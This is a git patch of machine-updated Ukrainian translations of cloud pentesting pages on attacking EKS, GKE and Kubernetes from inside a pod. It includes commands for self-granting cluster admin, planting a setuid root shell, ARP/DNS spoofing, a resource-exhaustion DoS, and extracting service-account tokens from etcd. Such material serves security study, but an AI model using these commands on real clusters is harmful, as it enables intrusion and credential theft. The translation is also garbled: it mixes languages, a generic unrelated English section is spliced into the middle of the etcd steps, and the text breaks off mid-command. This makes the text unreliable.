From 581085cd05fdf1f3d5a4fa0aaa8ee55950b13a23 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 9 Jul 2026 09:21:28 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/gcp-security/gcp-services/gcp-cont --- .../aws-eks-post-exploitation/README.md | 42 +-- .../gcp-containers-gke-and-composer-enum.md | 50 ++-- .../attacking-kubernetes-from-inside-a-pod.md | 258 ++++++++++-------- .../exposing-services-in-kubernetes.md | 74 ++--- .../kubernetes-enumeration.md | 169 +++++++----- .../kubernetes-network-attacks.md | 78 +++--- .../kubernetes-pivoting-to-clouds.md | 151 +++++++--- ...bernetes-role-based-access-control-rbac.md | 49 ++-- ...bernetes-validatingwebhookconfiguration.md | 87 +++--- .../pentesting-kubernetes-services/README.md | 80 +++--- ...ubelet-authentication-and-authorization.md | 72 +++-- 11 files changed, 675 insertions(+), 435 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md index 8d7b738a9..f819f974d 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md @@ -4,28 +4,28 @@ ## EKS -Для більшої інформації дивіться +Щоб дізнатися більше, перевірте {{#ref}} ../../aws-services/aws-eks-enum.md {{#endref}} -### Enumerate the cluster from the AWS Console +### Перелічити cluster з AWS Console -Якщо у вас є permission **`eks:AccessKubernetesApi`**, ви можете **view Kubernetes objects** через AWS EKS console ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)). +Якщо у вас є дозвіл **`eks:AccessKubernetesApi`**, ви можете **переглядати Kubernetes objects** через AWS EKS console ([Дізнатися більше](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)). -### Connect to AWS Kubernetes Cluster +### Підключитися до AWS Kubernetes Cluster -- Easy way: +- Легкий спосіб: ```bash # Generate kubeconfig aws eks update-kubeconfig --name aws-eks-dev ``` -- Не такий простий спосіб: +- Не такий уже й легкий спосіб: -Якщо ви можете **отримати token** за допомогою **`aws eks get-token --name `**, але не маєте permissions, щоб отримати cluster info (describeCluster), ви можете **підготувати власний `~/.kube/config`**. Однак, маючи token, вам усе ще потрібні **url endpoint для підключення** (якщо вам вдалося отримати JWT token з pod read [тут](aws-eks-post-exploitation/README.md#get-api-server-endpoint-from-a-jwt-token)) і **name of the cluster**. +If you can **get a token** with **`aws eks get-token --name `** but you don't have permissions to get cluster info (describeCluster), you could **prepare your own `~/.kube/config`**. However, having the token, you still need the **url endpoint to connect to** (if you managed to get a JWT token from a pod read [here](aws-eks-post-exploitation/README.md#get-api-server-endpoint-from-a-jwt-token)) and the **name of the cluster**. -У моєму випадку я не знайшов цю інформацію в CloudWatch logs, але я **знайшов її в LaunchTemaplates userData** і також у **EC2 machines in userData**. Ви можете легко побачити цю info в **userData**, наприклад, у наступному прикладі (cluster name був cluster-name): +У моєму випадку, я не знайшов цю інформацію в CloudWatch logs, але я **знайшов її в LaunchTemaplates userData** і також в **EC2 machines in userData**. You can see this info in **userData** easily, for example in the next example (the cluster name was cluster-name): ```bash API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com @@ -72,53 +72,53 @@ provideClusterInfo: false ### From AWS to Kubernetes -**Створювач** **кластера EKS** **ЗАВЖДИ** зможе потрапити в частину kubernetes-кластера групи **`system:masters`** (k8s admin). На момент написання цього тексту **немає прямого способу** дізнатися, **хто створив** кластер (це можна перевірити в CloudTrail). І **немає способу** **прибрати** цей **привілей**. +Історично, **creator** **EKS cluster** отримував прихований Kubernetes admin access, який не був видимий у `aws-auth`. У поточних EKS cluster це залежить від cluster access configuration. `bootstrapClusterCreatorAdminPermissions` керує тим, чи додається creator як cluster-admin access entry під час creation, і EKS access entries роблять цей admin шлях видимим і таким, що можна revoke через EKS API. Старі cluster або cluster, які все ще покладаються на `aws-auth`, можуть і далі мати legacy поведінку creator, тож перевіряйте `accessConfig`, перелічуйте access entries і переглядайте CloudTrail замість того, щоб припускати, що creator завжди має незнімний `system:masters`. #### Abusing configmap -Традиційний спосіб надати **доступ до K8s більшій кількості AWS IAM users або roles** — це використання **configmap** **`aws-auth`**. +Традиційний спосіб надати **access to over K8s to more AWS IAM users or roles** — використовувати **configmap** **`aws-auth`**. > [!WARNING] -> Отже, будь-хто з **write access** до config map **`aws-auth`** зможе **compromise весь кластер**. +> Тому будь-хто з **write access** до config map **`aws-auth`** зможе **compromise the whole cluster**. -Для отримання додаткової інформації про те, як **надати додаткові привілеї IAM roles & users** в **тому самому або іншому account** і як **abuse** це для [**privesc, див. цю сторінку**](../../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#aws-eks-aws-auth-configmaps). +Для отримання додаткової інформації про те, як **grant extra privileges to IAM roles & users** в **same or different account** і як **abuse** це для [**privesc check this page**](../../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#aws-eks-aws-auth-configmaps). -Також перегляньте[ **цей чудовий**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **пост, щоб дізнатися, як працює authentication IAM -> Kubernetes**. +Також подивіться[ **this awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post to learn how the authentication IAM -> Kubernetes work**. #### Abusing Access Entries -AWS implementes додатковий спосіб надати IAM users доступ до Kubernetes cluster через access entries. Якщо у вас є permissions `eks:CreateAccessEntry` і `eks:AssociateAccessPolicy`, ви також можете призначити Kubernetes administrator role або вашому user, або конкретному role. +AWS реалізує додатковий спосіб надати IAM users access до Kubernetes cluster через access entries. Якщо у вас є permissions `eks:CreateAccessEntry` і `eks:AssociateAccessPolicy`, ви також можете призначити Kubernetes administrator role або своєму user, або конкретному role. -Спочатку **створіть access entry для вашого user або role**: +Спочатку, **create an access entry for your user or role**: ``` aws eks create-access-entry --cluster-name --region --principal-arn --type STANDARD ``` -З цією створеною записом ви тепер можете призначити policy безпосередньо до нього. Існує вбудована AWS policy під назвою *AmazonEKSClusterAdminPolicy*, яку можна використовувати напряму. Майте на увазі, що якщо у вашому середовищі є інші custom policies, які також надають підвищені привілеї в EKS, ви можете змінити `--policy-arn` на будь-яку з них: +Після створення цього запису ви тепер можете призначити йому policy безпосередньо. Існує вбудована AWS policy під назвою *AmazonEKSClusterAdminPolicy*, яку можна використати напряму. Майте на увазі, що якщо у вашому середовищі є інші custom policies, які також надають підвищені привілеї в EKS, ви можете змінити `--policy-arn` на будь-яку з них: ``` aws eks associate-access-policy --cluster-name --region --principal-arn --policy-arn arn:aws:eks::aws:cluster-access-policy/AmazonEKSClusterAdminPolicy --access-scope type=cluster ``` Ви можете знайти цю політику в офіційній документації AWS [**here**](https://docs.aws.amazon.com/eks/latest/userguide/access-policy-permissions.html#access-policy-permissions-amazoneksclusteradminpolicy) -Від цього моменту ви тепер можете запросити *k8s* token і взаємодіяти з кластером як administrator: +З цього моменту ви вже можете запитати токен *k8s* і взаємодіяти з кластером як адміністратор: ``` aws eks get-token --cluster-name --output json | jq -r '.status.token' ``` ### From Kubernetes to AWS -Можливо дозволити **OpenID authentication for kubernetes service account** для того, щоб вони могли assume roles в AWS. Дізнайтеся, як [**це працює на цій сторінці**](../../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1). +Можливо дозволити **OpenID authentication для kubernetes service account**, щоб вони могли assume roles в AWS. Дізнайтеся, як [**це працює на цій сторінці**](../../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1). ### GET Api Server Endpoint from a JWT Token -Декодуючи JWT token, ми отримуємо cluster id і також region. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Знаючи, що стандартний format для EKS url є +Розшифровуючи JWT token, ми отримуємо cluster id і також region. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Знаючи, що стандартний формат для EKS url є ```bash https://...eks.amazonaws.com ``` -Не знайшов жодної документації, яка б пояснювала критерії для 'two chars' і 'number'. Але, проводячи деякі тести самостійно, я бачу, що вони повторюються, наприклад: +Не знайшов жодної документації, яка б пояснювала критерії для 'two chars' і 'the number'. Але, проводячи деякі тести від свого імені, я бачу, що вони повторюються: - gr7 - yl4 -У будь-якому разі, це лише 3 chars, тож ми можемо bruteforce їх. Використайте скрипт нижче для генерації списку +У будь-якому разі це лише 3 chars, тож ми можемо bruteforce їх. Використайте скрипт нижче для генерації списку ```python from itertools import product from string import ascii_lowercase diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-containers-gke-and-composer-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-containers-gke-and-composer-enum.md index a1589caf5..1796eeff7 100644 --- a/src/pentesting-cloud/gcp-security/gcp-services/gcp-containers-gke-and-composer-enum.md +++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-containers-gke-and-composer-enum.md @@ -4,7 +4,7 @@ ## Containers -У GCP containers можна знайти більшість container-based services, які пропонує GCP, тут ви можете побачити, як enumerate найпоширеніші з них: +У GCP containers ви можете знайти більшість container-based сервісів, які пропонує GCP, тут ви можете побачити, як enum найпоширеніші з них: ```bash gcloud container images list gcloud container images list --repository us.gcr.io/ #Search in other subdomains repositories @@ -50,25 +50,25 @@ gcloud container node-pools describe --cluster --zone --region \ --format='value(workloadIdentityConfig.workloadPool)' @@ -76,33 +76,47 @@ gcloud container clusters describe --region \ kubectl get serviceaccounts -A -o yaml | grep -n 'iam.gke.io' -B 5 -A 8 kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName' ``` -Якщо service account має анотацію `iam.gke.io/gcp-service-account`, перевір IAM service account policy на надання `roles/iam.workloadIdentityUser` для Kubernetes service account principals. Також перевір IAM allow policies на прямі workload identity principals або широкі principal sets. +Якщо обліковий запис service account має анотацію `iam.gke.io/gcp-service-account`, перевірте IAM policy service account на наявність надань `roles/iam.workloadIdentityUser` для principals Kubernetes service account. Також перевірте IAM allow policies на прямі workload identity principals або широкі `principalSet://` grants, наприклад namespace-wide чи cluster-wide workload access. Анотація `iam.gke.io/credential-quota-project` лише переносить IAM Service Account Credentials API quota до іншого project; workload principal все одно потребує `serviceusage.services.use` на цьому quota project і окремого IAM access до цільового resource. -Доступ до metadata залежить від режиму cluster, конфігурації node pool і налаштувань workload. Не припускай, що кожен pod може вкрасти node service account. У середовищах з Workload Identity звичайні pods мають використовувати GKE metadata server, щоб отримати workload identity, призначену їхньому Kubernetes service account. Компрометація node, `hostNetwork` pods у деяких Standard конфігураціях і legacy exposure metadata на node все ще можуть змінити blast radius, тому перевір фактичний metadata mode node pool, node service account, OAuth scopes і розміщення pod. +Доступ до metadata залежить від cluster mode, node pool configuration і workload settings. Не припускайте, що кожен pod може викрасти node service account. У середовищах з увімкненим Workload Identity звичайні pods мають використовувати GKE metadata server для отримання workload identity, призначеної їхньому Kubernetes service account. Node compromise, `hostNetwork` pods у деяких Standard конфігураціях і legacy node metadata exposure все ще можуть змінити blast radius, тому перевірте фактичний node pool metadata mode, node service account, OAuth scopes і pod placement. + +Якщо pod з увімкненим Workload Identity не може отримати token, також перевірте NetworkPolicy egress, перш ніж припускати, що IAM binding неправильний. GKE Standard clusters, які використовують NetworkPolicy, мають дозволяти metadata-server path, потрібний для version кластера і dataplane, а Dataplane V2 використовує `169.254.169.254` path для metadata-server access. + +### Autopilot privileged workload allowlists + +GKE Autopilot за замовчуванням блокує більшість privileged workloads, але схвалені винятки можуть існувати. Перевірте privileged admission settings, об’єкти `AllowlistSynchronizer` і встановлені об’єкти `WorkloadAllowlist`, перш ніж вважати, що privileged pod неможливий: +```bash +gcloud container clusters describe --region \ +--format='yaml(autopilot,privilegedAdmissionConfig,clusterPolicyConfig)' + +kubectl get allowlistsynchronizers.auto.gke.io -A -o yaml +kubectl get workloadallowlists.auto.gke.io -A -o yaml +``` +Allowlist paths can be GKE-owned (`gke://...`) or customer-owned Cloud Storage paths (`gs://...`). Wildcards and broad bucket paths increase the blast radius because future allowlist files under that path might become valid for the cluster. When a `WorkloadAllowlist` is installed, compare its exemptions and matching criteria to the pod spec, especially image digests, host namespaces, writable hostPath mounts, host ports, Linux capabilities, and whether `autopilot.gke.io/no-connect` prevents `exec` access to the privileged workload. ### TLS Boostrap Privilege Escalation -Спочатку ця technique privilege escalation дозволяла **privesc всередині GKE cluster**, фактично даючи атакувальнику можливість **повністю скомпрометувати його**. +Initially this privilege escalation technique allowed to **privesc inside the GKE cluster** effectively allowing an attacker to **fully compromise it**. -Це тому, що GKE надає [TLS Bootstrap credentials](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/) у metadata, які **доступні будь-кому просто після компрометації pod**. +This is because GKE provides [TLS Bootstrap credentials](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/) in the metadata, which is **accessible by anyone by just compromising a pod**. -Використана technique описана в таких постах: +The technique used is explained in the following posts: - [https://www.4armed.com/blog/hacking-kubelet-on-gke/](https://www.4armed.com/blog/hacking-kubelet-on-gke/) - [https://www.4armed.com/blog/kubeletmein-kubelet-hacking-tool/](https://www.4armed.com/blog/kubeletmein-kubelet-hacking-tool/) - [https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) -А цей tool був створений, щоб автоматизувати процес: [https://github.com/4ARMED/kubeletmein](https://github.com/4ARMED/kubeletmein) +Ans this tool was created to automate the process: [https://github.com/4ARMED/kubeletmein](https://github.com/4ARMED/kubeletmein) -Однак technique зловживала тим фактом, що **за допомогою metadata credentials** можна було **згенерувати CSR** (Certificate Signing Request) для **нового node**, який **автоматично схвалювався**.\ -У моєму тесті я перевірив, що **такі requests більше не схвалюються автоматично**, тож я не впевнений, чи ця technique все ще валідна. +However, the technique abused the fact that **with the metadata credentials** it was possible to **generate a CSR** (Certificate Signing Request) for a **new node**, which was **automatically approved**.\ +In my test I checked that **those requests aren't automatically approved anymore**, so I'm not sure if this technique is still valid. ### Secrets in Kubelet API -У [**цьому пості**](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt3/) було виявлено було виявлено Kubelet API address, доступний із pod у GKE, який надавав details про pod, що запущені: +In [**this post**](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt3/) it was discovered it was discovered a Kubelet API address accesible from inside a pod in GKE giving the details of the pods running: ``` curl -v -k http://10.124.200.1:10255/pods ``` -Навіть якщо API **не дозволяє змінювати ресурси**, у відповіді все одно можна знайти **sensitive information**. Endpoint /pods було знайдено за допомогою [**Kiterunner**](https://github.com/assetnote/kiterunner). +Навіть якщо API **не дозволяє змінювати ресурси**, у відповіді все одно можна знайти **чутливу інформацію**. Endpoint /pods було знайдено за допомогою [**Kiterunner**](https://github.com/assetnote/kiterunner). {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md b/src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md index ee5f6befd..082549787 100644 --- a/src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md +++ b/src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md @@ -45,7 +45,7 @@ TEST_DIR=/var/www/html/some-mount # replace with your suspected mount path # Quick practical test printf "ping\n" > "$TEST_DIR/.w" ``` -Створіть setuid root binary з контейнера: +Підкиньте setuid root binary з контейнера: ```bash # As root inside the container, copy a static shell (or /bin/bash) into the mounted path and set SUID/SGID MOUNT="/var/www/html/survey" # path inside the container that maps to a host directory @@ -94,11 +94,11 @@ As you are inside the Kubernetes environment, if you cannot escalate privileges ``` kubectl get svc --all-namespaces ``` -За замовчуванням Kubernetes використовує пласку мережеву схему, що означає, що **будь-який pod/service в межах кластера може взаємодіяти з іншими**. **Namespaces** у межах кластера **за замовчуванням не мають жодних мережевих обмежень безпеки**. Будь-хто в namespace може взаємодіяти з іншими namespaces. +За замовчуванням, Kubernetes використовує плоску мережеву схему, що означає, що **будь-який pod/service у межах кластера може взаємодіяти з іншими**. **Namespaces** у межах кластера **не мають жодних мережевих обмежень безпеки за замовчуванням**. Будь-хто в namespace може взаємодіяти з іншими namespaces. ### Scanning -Наступний Bash script (взятий із [Kubernetes workshop](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md)) встановить і просканує діапазони IP адрес kubernetes кластера: +The following Bash script (taken from a [Kubernetes workshop](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md)) will install and scan the IP ranges of the kubernetes cluster: ```bash sudo apt-get update sudo apt-get install nmap @@ -117,7 +117,7 @@ nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}" } nmap-kube-discover ``` -Перегляньте цю сторінку, щоб дізнатися, як можна **attack Kubernetes specific services**, щоб **compromise other pods/all the environment**: +Перегляньте цю сторінку, щоб дізнатися, як ви можете **attack Kubernetes specific services** щоб **compromise other pods/all the environment**: {{#ref}} pentesting-kubernetes-services/ @@ -125,12 +125,12 @@ pentesting-kubernetes-services/ ### Sniffing -У разі, якщо **compromised pod запускає якийсь sensitive service**, до якого іншим pod потрібно authenticating, ви можете отримати credentials, надіслані з інших pod, **sniffing local communications**. +У разі, якщо **compromised pod запускає якийсь sensitive service**, де інші pods мають аутентифікуватися, ви можете отримати credentials, надіслані з інших pods, **sniffing local communications**. ## Network Spoofing -За замовчуванням такі techniques, як **ARP spoofing** (а завдяки цьому і **DNS Spoofing**), працюють у kubernetes network. Тоді всередині pod, якщо у вас є **NET_RAW capability** (яка є за замовчуванням), ви зможете надсилати custom crafted network packets і виконувати **MitM attacks via ARP Spoofing to all the pods running in the same node.**\ -Крім того, якщо **malicious pod** працює на **same node as the DNS Server**, ви зможете виконати **DNS Spoofing attack to all the pods in cluster**. +За замовчуванням techniques на кшталт **ARP spoofing** (і завдяки цьому **DNS Spoofing**) працюють у kubernetes network. Тоді всередині pod, якщо у вас є **NET_RAW capability** (яка там є за замовчуванням), ви зможете надсилати custom crafted network packets і виконувати **MitM attacks via ARP Spoofing to all the pods running in the same node.**\ +Ба більше, якщо **malicious pod** працює на **same node as the DNS Server**, ви зможете виконати **DNS Spoofing attack to all the pods in cluster**. {{#ref}} kubernetes-network-attacks.md @@ -138,25 +138,25 @@ kubernetes-network-attacks.md ## Node DoS -У Kubernetes manifests немає specification of resources і для контейнерів **not applied limit** ranges. Як attacker, ми можемо **consume all the resources where the pod/deployment running** і позбавити інші resources та спричинити DoS для environment. +У Kubernetes manifests немає specification of resources і **not applied limit** ranges для containers. Як attacker, ми можемо **consume all the resources where the pod/deployment running** і позбавити ресурси інших та спричинити DoS для environment. -Це можна зробити за допомогою tool, наприклад [**stress-ng**](https://zoomadmin.com/HowToInstall/UbuntuPackage/stress-ng): +Це можна зробити за допомогою такого tool, як [**stress-ng**](https://zoomadmin.com/HowToInstall/UbuntuPackage/stress-ng): ``` stress-ng --vm 2 --vm-bytes 2G --timeout 30s ``` -Ви можете побачити різницю під час запуску `stress-ng` і після нього +Можна побачити різницю під час запуску `stress-ng` і після нього ```bash kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx ``` ## Node Post-Exploitation -If you managed to **escape from the container** there are some interesting things you will find in the node: +Якщо вам вдалося **escape from the container**, на node є кілька цікавих речей, які можна знайти: -- The **Container Runtime** process (Docker) -- More **pods/containers** running in the node you can abuse like this one (more tokens) -- The whole **filesystem** and **OS** in general -- The **Kube-Proxy** service listening -- The **Kubelet** service listening. Check config files: +- Процес **Container Runtime** (Docker) +- Більше **pods/containers**, що працюють на node, які можна abuse, як цей (більше tokens) +- Уся **filesystem** і **OS** загалом +- Служба **Kube-Proxy** listening +- Служба **Kubelet** listening. Перевірте config files: - Directory: `/var/lib/kubelet/` - `/var/lib/kubelet/kubeconfig` - `/var/lib/kubelet/kubelet.conf` @@ -164,21 +164,27 @@ If you managed to **escape from the container** there are some interesting thing - `/var/lib/kubelet/kubeadm-flags.env` - `/etc/kubernetes/kubelet-kubeconfig` - `/etc/kubernetes/admin.conf` --> `kubectl --kubeconfig /etc/kubernetes/admin.conf get all -n kube-system` -- Other **kubernetes common files**: +- Інші **kubernetes common files**: - `$HOME/.kube/config` - **User Config** - `/etc/kubernetes/kubelet.conf`- **Regular Config** - `/etc/kubernetes/bootstrap-kubelet.conf` - **Bootstrap Config** - `/etc/kubernetes/manifests/etcd.yaml` - **etcd Configuration** - `/etc/kubernetes/pki` - **Kubernetes Key** +### Image Pull and Registry Credentials + +Після доступу до node також перегляньте, як node завантажує приватні images. Корисні докази включають metadata runtime image (`crictl images`), `imagePullSecrets` Pod або ServiceAccount, конфігурацію registry для containerd, таку як `/etc/containerd/config.toml` і `/etc/containerd/certs.d`, а також flags kubelet для image credential provider, наприклад `--image-credential-provider-config` і `--image-credential-provider-bin-dir`. + +Не припускайте, що cached private image означає наявність повторно придатних registry credentials. Це може лише доводити, що image існує на цьому node. Водночас static runtime registry credentials, Docker config JSON pull secrets або credential provider, який може створювати short-lived pull credentials, можуть відкрити доступ до private registry. Останні версії Kubernetes також підтримують kubelet credential providers на основі service-account-token для image pulls, тож перевірте, чи provider використовує Pod-bound service account tokens і який audience він запитує, перш ніж повідомляти про impact. + ### Find node kubeconfig -If you cannot find the kubeconfig file in one of the previously commented paths, **check the argument `--kubeconfig` of the kubelet process**: +Якщо ви не можете знайти файл kubeconfig в одному з попередньо згаданих шляхів, **перевірте аргумент `--kubeconfig` процесу kubelet**: ``` ps -ef | grep kubelet root 1406 1 9 11:55 ? 00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal ``` -### Викрасти Secrets +### Викрадення Secrets ```bash # Check Kubelet privileges kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system @@ -199,20 +205,20 @@ echo "" fi done ``` -Скрипт [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) автоматично **отримає токени інших pod'ів і перевірить, чи мають вони дозвіл**, який ви шукаєте (замість того, щоб перевіряти їх по одному): +Скрипт [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) автоматично **отримає токени інших pod і перевірить, чи мають вони потрібний вам дозвіл** (замість того, щоб вам шукати по одному): ```bash ./can-they.sh -i "--list -n default" ./can-they.sh -i "list secrets -n kube-system"// Some code ``` ### Privileged DaemonSets -DaemonSet — це **pod**, який буде **run** на **всіх nodes кластеру**. Тому, якщо DaemonSet налаштований із **privileged service account,** то **НА ВСІХ nodes** ви зможете знайти **token** цього **privileged service account**, який можна **abuse**. +A DaemonSet — це **pod**, який буде **run** на **всіх nodes кластера**. Тому, якщо DaemonSet налаштовано з **privileged service account,** то **НА ВСІХ nodes** ви зможете знайти **token** цього **privileged service account**, який можна **abuse**. -Експлойт такий самий, як у попередньому розділі, але тепер ви не залежите від удачі. +Експлойт такий самий, як у попередньому розділі, але тепер ви не залежите від luck. ### Pivot to Cloud -Якщо кластер керується cloud service, зазвичай **Node матиме інший access до metadata** endpoint, ніж Pod. Тому спробуйте **access metadata endpoint from the node** (або з pod із hostNetwork у True): +Якщо кластер керується cloud service, зазвичай **Node матиме інший доступ до metadata** endpoint, ніж Pod. Тому спробуйте **access the metadata endpoint from the node** (або з pod із hostNetwork to True): {{#ref}} kubernetes-pivoting-to-clouds.md @@ -227,19 +233,128 @@ NAME STATUS ROLES AGE VERSION k8s-control-plane Ready master 93d v1.19.1 k8s-worker Ready 93d v1.19.1 ``` -control-plane nodes мають **role master** і в **cloud managed clusters ви не зможете нічого там запускати**. +control-plane nodes мають **role master** і в **cloud managed clusters ви не зможете нічого на них запускати**. #### Read secrets from etcd 1 If you can run your pod on a control-plane node using the `nodeName` selector in the pod spec, you might have easy access to the `etcd` database, which contains all of the configuration for the cluster, including all secrets. -Below is a quick and dirty way to grab secrets from `etcd` if it is running on the control-plane node you are on. If you want a more elegant solution that spins up a pod with the `etcd` client utility `etcdctl` and uses the control-plane node's credentials to connect to etcd wherever it is running, check out [this example manifest](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) from @mauilion. +Нижче — швидкий і простий спосіб витягнути secrets з `etcd`, якщо він працює на control-plane node, на якій ви зараз перебуваєте. Якщо вам потрібне більш елегантне рішення, яке запускає pod з `etcd` client utility `etcdctl` і використовує credentials control-plane node для підключення до etcd, де б він не був запущений, подивіться [this example manifest](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) від @mauilion. **Check to see if `etcd` is running on the control-plane node and see where the database is (This is on a `kubeadm` created cluster)** ``` root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir ``` -Надішліть, будь ласка, текст або вміст файлу, який потрібно перекласти. +Інсайд pod + +In Kubernetes, a `pod` is the smallest deployable unit and can contain one or more containers that share the same network namespace, storage, and Linux capabilities. Because of this, gaining access to a container inside a pod can sometimes allow you to move laterally to other containers, the node, or even the whole cluster, depending on the pod configuration. + +This section covers common ways to attack Kubernetes from inside a pod, including: + +- Discovering service account tokens +- Inspecting mounted secrets and config maps +- Reaching the Kubernetes API +- Abusing overly permissive RBAC permissions +- Escalating privileges through the node or cloud metadata services + +## ServiceAccount tokens + +Many pods are created with a mounted `ServiceAccount` token at: + +```bash +/var/run/secrets/kubernetes.io/serviceaccount/token +``` + +If present, this token can be used to authenticate to the Kubernetes API. You can inspect the related namespace and CA certificate as well: + +```bash +/var/run/secrets/kubernetes.io/serviceaccount/namespace +/var/run/secrets/kubernetes.io/serviceaccount/ca.crt +``` + +A common first step is to test whether the token has meaningful permissions: + +```bash +kubectl --token "$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \ + --server https://kubernetes.default.svc \ + auth can-i get pods +``` + +If `kubectl` is not available, you can query the API directly with `curl`. + +## Mounted secrets and config maps + +Pods may have secrets mounted as files in the filesystem. Look for sensitive data in common paths such as: + +```bash +/var/run/secrets/ +/etc/secrets/ +/etc/config/ +``` + +Also inspect environment variables, since applications often receive credentials that way. + +## Reaching the Kubernetes API + +From inside a pod, the Kubernetes API is often reachable at: + +```bash +https://kubernetes.default.svc +``` + +If you have a valid token and CA certificate, you can query endpoints such as: + +```bash +/api +/apis +/api/v1/namespaces +/api/v1/pods +``` + +This may reveal secrets, service accounts, roles, and other cluster resources depending on the permissions granted to the pod. + +## RBAC abuse + +If the service account has excessive permissions, you may be able to: + +- list or read secrets +- create new pods +- mount host paths +- create privileged containers +- impersonate other identities + +Always check permissions with `auth can-i` or by attempting API requests. + +## From pod to node + +If the pod is privileged, uses dangerous volume mounts, or has access to the Docker socket, escape paths may exist. Examples include: + +- mounting the host filesystem +- accessing `/var/run/docker.sock` +- abusing `hostNetwork`, `hostPID`, or `hostIPC` +- using privileged capabilities like `CAP_SYS_ADMIN` + +## Cloud metadata and external credentials + +In cloud environments, pods may be able to reach metadata services such as AWS IMDS or GCP metadata endpoints. These can expose temporary credentials that are useful for further compromise. + +Check whether the pod can access: + +- AWS: `http://169.254.169.254/` +- GCP: `http://metadata.google.internal/` + +## Defensive notes + +To reduce risk: + +- use least-privilege RBAC +- disable automounting of service account tokens when unnecessary +- avoid privileged pods +- restrict hostPath mounts +- limit access to metadata services +- use network policies + +Understanding how a pod is configured is often enough to find the fastest path to further access inside a Kubernetes cluster. ```bash data-dir=/var/lib/etcd ``` @@ -247,102 +362,27 @@ data-dir=/var/lib/etcd ```bash strings /var/lib/etcd/member/snap/db | less ``` -**Витягніть токени з бази даних і покажіть ім'я service account** +**Витягніть tokens з бази даних і покажіть service account name** ```bash db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done ``` -**Та сама команда, але з деякими grep, щоб повертати лише default token у namespace kube-system** +**Та сама команда, але з деякими `grep`, щоб повертати лише default token у namespace `kube-system`** ```bash db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default ``` -```markdown -# Attacking Kubernetes from Inside a Pod - -A pod inside a Kubernetes cluster can be used to attack the whole cluster if it is compromised. This is because pods often have access to sensitive credentials, internal services, and the Kubernetes API. - -## Common attack surfaces - -From inside a pod, an attacker may be able to: - -- Access the Kubernetes API using service account tokens -- Discover other services and pods in the cluster -- Reach internal-only endpoints not exposed externally -- Abuse mounted secrets and config maps -- Move laterally to other workloads - -## Service account tokens - -Most pods are mounted with a service account token at: - -```bash -/var/run/secrets/kubernetes.io/serviceaccount/token -``` - -This token can often be used to authenticate to the Kubernetes API. You can also find the cluster CA certificate and namespace information in the same directory. - -Example: - -```bash -curl --cacert 